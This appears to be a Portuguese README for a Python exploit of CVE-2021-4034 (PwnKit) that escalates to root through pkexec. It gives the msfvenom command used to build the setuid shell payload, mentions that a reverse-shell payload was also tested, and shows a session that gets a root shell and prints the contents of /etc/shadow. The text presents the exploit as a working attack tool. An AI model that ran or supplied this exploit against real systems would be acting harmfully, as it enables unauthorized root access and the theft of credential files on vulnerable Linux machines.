
Exploit em Python para CVE-2021-4034 (PwnKit) que eleva privilégios para root via pkexec, gerando um shell root com payloads do msfvenom.
Código Python3 para explorar CVE-2021-4034 (PWNKIT). Isto foi um exercício de "consigo fazer isto funcionar em Python?", e não foi feito como uma exploração robusta. Funciona Para Mim, provavelmente há bugs.
O payload padrão inicia uma shell como root, gerado a partir de msfvenom:
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
Também testei linux/x64/shell_reverse_tcp. Certifique-se de incluir
o argumento PrependSetuid=true no msfvenom, caso contrário obterá apenas
uma shell como o utilizador e não como root.
O código foi copiado de blasty, o original está disponível aqui
$ python CVE-2021-4034.py
[+] Criando biblioteca partilhada para o código de exploração.
[+] Chamando execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#